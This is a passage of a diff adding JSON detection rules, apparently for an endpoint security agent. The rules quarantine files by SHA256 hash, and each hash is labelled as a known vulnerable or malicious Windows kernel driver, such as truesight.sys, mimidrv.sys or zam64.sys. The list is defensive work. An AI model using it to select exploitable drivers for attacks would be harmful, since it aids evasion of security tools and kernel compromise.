+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.146953Z",
+  "creation_date": "2026-03-23T11:45:31.146955Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.146960Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "e020d0095c96b3bb246b7884b0c7700b62a8cadb18b8de44cc0e4852e74596e6",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "363af1b8-6f28-5465-87dd-44e21b7620bb",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.978668Z",
+  "creation_date": "2026-03-23T11:45:29.978670Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.978676Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "f1718a005232d1261894b798a60c73d971416359b70d0e545d7e7a40ed742b71",
+  "comment": "Vulnerable Kernel Driver (aka netfilter2.sys) [https://www.loldrivers.io/drivers/5ad8a3b6-6d20-4c95-8fa7-9a507167ba3c/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "363c9e90-3af4-5b54-8ab6-4b8e3345f218",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.480431Z",
+  "creation_date": "2026-03-23T11:45:30.480433Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.480439Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "e6023b8fd2ce4ad2f3005a53aa160772e43fe58da8e467bd05ab71f3335fb822",
+  "comment": "Vulnerable Kernel Driver (aka GtcKmdfBs.sys) [https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "3644289b-1d3d-5609-8a48-0e20053b969c",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.826938Z",
+  "creation_date": "2026-03-23T11:45:30.826940Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.826952Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "8e8d345e25502abe87f46b78f31b290c202855e50fb302e765298b21e6868ec0",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "36567fad-de9b-53b6-8d2c-9bc0b9883e68",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.148001Z",
+  "creation_date": "2026-03-23T11:45:31.148003Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.148008Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "4ca5f440d25b04318b450b527a9696a040d9801b88461ac4aa7e133799add08b",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "3657d8e3-a9f8-5207-bdba-da0d32887f6c",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.495547Z",
+  "creation_date": "2026-03-23T11:45:31.495549Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.495554Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "2eb35a8ca7ce6149d6dc9380bb0883ea4a5822abc94c1e64780590534c4a4a5f",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "365a1850-b4c9-534c-9fc6-c003e10b3af9",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.157612Z",
+  "creation_date": "2026-03-23T11:45:31.157615Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.157623Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "693ff41be1f95fb1f55f4ab3ef610a4b0bdfda21b992e00fcbd76aab8634ad69",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "365c12b6-39eb-5073-bddb-6762cc990a54",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.467648Z",
+  "creation_date": "2026-03-23T11:45:30.467651Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.467660Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "1e0133cfe93c0e1cdd995b8668134bafcd35976c8f02400112668d91da7eb34a",
+  "comment": "Malicious Kernel Driver (aka mimidrv.sys) [https://www.loldrivers.io/drivers/87752fb8-e9f6-4235-91e2-c4343677d817/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "3667d275-1bbb-506a-bce3-d09de825f969",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.810326Z",
+  "creation_date": "2026-03-23T11:45:31.810328Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.810334Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "62507931949cdad75b4d46bc2a7997514a5f618a532958d2a1c31d5a6870ecf8",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "366873f6-6c59-5ac2-bd5e-ce5a125421d9",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.479367Z",
+  "creation_date": "2026-03-23T11:45:31.479371Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.479381Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "9e90c7a07cf0d7bbc73d334a912ea1d4e079658daf2a2a081776004764d25fa7",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "36720b49-0576-5349-a2ed-5e9df03a30fb",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.824438Z",
+  "creation_date": "2026-03-23T11:45:30.824440Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.824446Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "e47d93196bb62140f65d8e860b93fd4a9b280f8a559487b5349356d1d301c69b",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "36759e85-e912-53a4-bbc1-abcd17371ea6",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.971420Z",
+  "creation_date": "2026-03-23T11:45:29.971423Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.971432Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "d7e091e0d478c34232e8479b950c5513077b3a69309885cee4c61063e5f74ac0",
+  "comment": "MalwareFox AntiMalware Vulnerable Driver (aka zam64.sys and zam32.sys) [CVE-2021-31727, CVE-2021-31728] [https://www.loldrivers.io/drivers/e5f12b82-8d07-474e-9587-8c7b3714d60c/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "367dc82b-21c3-5e4e-b24f-1bbd038cbf06",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.605862Z",
+  "creation_date": "2026-03-23T11:45:29.605864Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.605881Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "075de997497262a9d105afeadaaefc6348b25ce0e0126505c24aa9396c251e85",
+  "comment": "Process Explorer driver (aka PROCEXP.SYS and PROCEXP152.SYS) [https://learn.microsoft.com/en-us/sysinternals/downloads/process-explorer] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "367e7cb4-9b85-5854-9490-a53bb940b951",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.481888Z",
+  "creation_date": "2026-03-23T11:45:31.481893Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.481903Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "5ad5fba2066e4e72925c362a751f591965523b1727d79c6c21505cf82d049bd7",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "368c2920-b654-547d-8baa-157aee9e2d51",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.972457Z",
+  "creation_date": "2026-03-23T11:45:29.972459Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.972464Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "4182c6f1f9c5601b66dfe8f64d4e4e943eeeb3345ad4b5e23e3ad3b328af7eed",
+  "comment": "TG Soft vulnerable driver (aka viragt.sys and viragt64.sys) [https://learn.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-driver-block-rules] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "3690d9fc-699a-52ae-b0e6-054ac8af5088",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.154709Z",
+  "creation_date": "2026-03-23T11:45:31.154710Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.154716Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "2eb541f77203a949a851d733f019ed837e7a88c38c5aacbc227ff6f7c5d1af62",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "369359be-bb2c-5213-bffe-707b1d620087",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.616312Z",
+  "creation_date": "2026-03-23T11:45:29.616314Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.616319Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "26ba58c9af9c8a7aebf222f491f786daa0626be44d34f170fea3623d92828e63",
+  "comment": "American Megatrends vulnerable BIOS flash tool (aka UCOREW64.SYS and amifldrv64.sys) [https://www.loldrivers.io/drivers/a338a9fc-9fe3-400c-9fe4-69bb7892602d/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "3693ae0e-5b61-5e3f-8f86-c8411d84a5c4",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:32.144484Z",
+  "creation_date": "2026-03-23T11:45:32.144486Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:32.144492Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "fdd16a94a71644a8bb52c4e0fbfecb93f04cfe37bd91bac599cf9abfb822762f",
+  "comment": "Malicious Kernel Driver (aka driver_fdd16a94.sys) [https://www.loldrivers.io/drivers/da066835-f37c-40bf-86bb-d77ad45c7f30/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "3695d524-a409-597d-b98d-54ab7a6eb1a3",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.490315Z",
+  "creation_date": "2026-03-23T11:45:31.490317Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.490322Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "4c21a832cbda14a54ff07a81d486ce37eacd3a8d041000d22fb0d929cdbef591",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "369b4b39-a9be-5a72-899a-9c634525f92b",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.142167Z",
+  "creation_date": "2026-03-23T11:45:31.142169Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.142174Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "b418e2604e8cf433ce9e6b80096ca64aa009393938ecec46d9482b18b2a5929a",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "36a92de4-93aa-5ffa-9123-fb41f95f089c",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.478859Z",
+  "creation_date": "2026-03-23T11:45:30.478863Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.478931Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "bea8c6728d57d4b075f372ac82b8134ac8044fe13f533696a58e8864fa3efee3",
+  "comment": "Vulnerable Kernel Driver (aka rtcoremini64.sys) [https://www.loldrivers.io/drivers/b9e01a11-6395-4837-a202-0c777d717a43/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "36bc48e4-23ad-5c24-8c02-b6c60a233afa",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.150941Z",
+  "creation_date": "2026-03-23T11:45:31.150943Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.150956Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "18ea074a9f9f960b7a4c2229212d2ada88fd617078fd976bd6c2d7c93b21c9db",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "36ce12e8-ea2a-5534-9a87-b0a775767179",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.825012Z",
